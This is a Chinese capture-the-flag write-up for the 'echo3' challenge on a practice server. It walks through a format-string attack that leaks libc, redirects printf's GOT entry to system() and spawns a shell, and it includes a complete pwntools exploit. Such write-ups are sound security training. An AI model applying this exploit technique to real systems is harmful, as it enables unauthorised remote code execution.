echo3

echo3_第1张图片
echo3_第2张图片

保护很常规,是32位的程序,还是格式化字符串漏洞,但是是存储在bss上的格式化

echo3_第3张图片

主程序的alloca函数用来抬栈,而且每次是随机的,所以爆破一下,当泄漏出地址的时候再进行下一步操作

while True:
    #p = process('./echo3',env = {"LD_PRELOAD": "../libc-2.23.so.i386"})
    p = remote('hackme.inndy.tw',7720)
    payload = '%55$p.%14$p'
    p.sendline(payload)
    data = p.recvuntil('.',drop = True)
    if data[-3:] == '637':
        break
    p.close()
__libc_start_main_ret = int(data,16)
stack_base = int(p.recvuntil('\n',drop = True),16) - 0x10
log.success('stack_base : 0x%x ' %stack_base)
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ad80
printf_got = 0x0804A014
libc_base = __libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
log.success('system addr : 0x%x ' %system_addr)

然后将printf_got 改成system地址,由于每次最后改2字节,这里的改写很巧妙(跟M4x师傅学的操作很骚)

1.将栈上两个指针指向栈地址

echo3_第4张图片
改写前

这是调用printf函数前的栈结构,我们先将

0xffdd2028│+0x98: 0xffdd210c  →  0xffdd2fd0  →  "LD_PRELOAD=../libc-2.23.so.i386"
0xffdd202c│+0x9c: 0xffdd2104  →  0xffdd2fc8  →  "./echo3"
改写成
0xffdd2028│+0x98: 0xffdd210c  →  0xffdd1fbc  →  0x080485d2  →   add ebx, 0x1a2e
0xffdd202c│+0x9c: 0xffdd2104  →  0xffdd1fdc  →  0x0804877b  →   mov eax, 0x0
echo3_第5张图片
改写后

2.修改栈上指针为printf_got,printf_got+2

echo3_第6张图片
改写前
0xffdd2104│+0x174: 0xffdd1fdc  →  0x0804877b  →   mov eax, 0x0
...
0xffdd210c│+0x17c: 0xffdd1fbc  →  0x080485d2  →   add ebx, 0x1a2e

改写成printf_got,printf_got+2

0xffdd2104│+0x174: 0xffdd1fdc  →  0x0804a014  →  0xf7603590  →   call 0xf76d9bc9
...
0xffdd210c│+0x17c: 0xffdd1fbc  →  0x0804a016  →  0x8446f760
echo3_第7张图片
改写后

3.最后修改printf_got,printf_got+2的指针为system&0xffff , (system >> 16 ) &0xffff

echo3_第8张图片
改写前
0xfff7291c│+0x2c: 0x0804a016  →  0x8446f759
...
0xfff7293c│+0x4c: 0x0804a014  →  0xf759b590  →   call 0xf7671bc9

#printf_got,printf_got+2的指针改写成system&0xffff , (system >> 16 ) &0xffff

0xfff7291c│+0x2c: 0x0804a016  →  0x8446f758
...
0xfff7293c│+0x4c: 0x0804a014  →  0xf758cd80  →   sub esp, 0xc
echo3_第9张图片
改写后

4.发送/bin/sh,printf('/bin/sh')即system('/bin/sh')

echo3_第10张图片
修改成功

可以看到printf_got地址已经修改成system的地址

完整exp:

from pwn import *
import time
context.log_level = 'debug'

while True:
    #p = process('./echo3',env = {"LD_PRELOAD": "../libc-2.23.so.i386"})
    p = remote('hackme.inndy.tw',7720)
    payload = '%55$p.%14$p'
    p.sendline(payload)
    data = p.recvuntil('.',drop = True)
    if data[-3:] == '637':
        break
    p.close()

__libc_start_main_ret = int(data,16)
stack_base = int(p.recvuntil('\n',drop = True),16) - 0x10
log.success('stack_base : 0x%x ' %stack_base)
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ad80
printf_got = 0x0804A014
libc_base = __libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
log.success('system addr : 0x%x ' %system_addr)

sleep(1)

payload = '%' + str( (stack_base + 0x2c) & 0xffff ) + 'c%38$hn'
payload += '%' + str( ((stack_base + 0x4c) & 0xffff) - ((stack_base + 0x2c) & 0xffff)) + 'c%39$hn'
p.sendline(payload)
sleep(1)
#gdb.attach(p)
payload = '%' + str( printf_got & 0xffff) + 'c%93$hn'
payload += '%' + str( ((printf_got+2) & 0xffff) - (printf_got & 0xffff) ) + 'c%95$hn'
p.sendline(payload)
sleep(2)

payload = '%' + str( system_addr & 0xffff ) + 'c%19$hn'
payload += '%' + str( ((system_addr >> 16) & 0xffff) - (system_addr & 0xffff) ) + 'c%11$hn'
#gdb.attach(p)
p.sendline(payload)

p.sendline('/bin/sh')
p.interactive()

你可能感兴趣的:(echo3)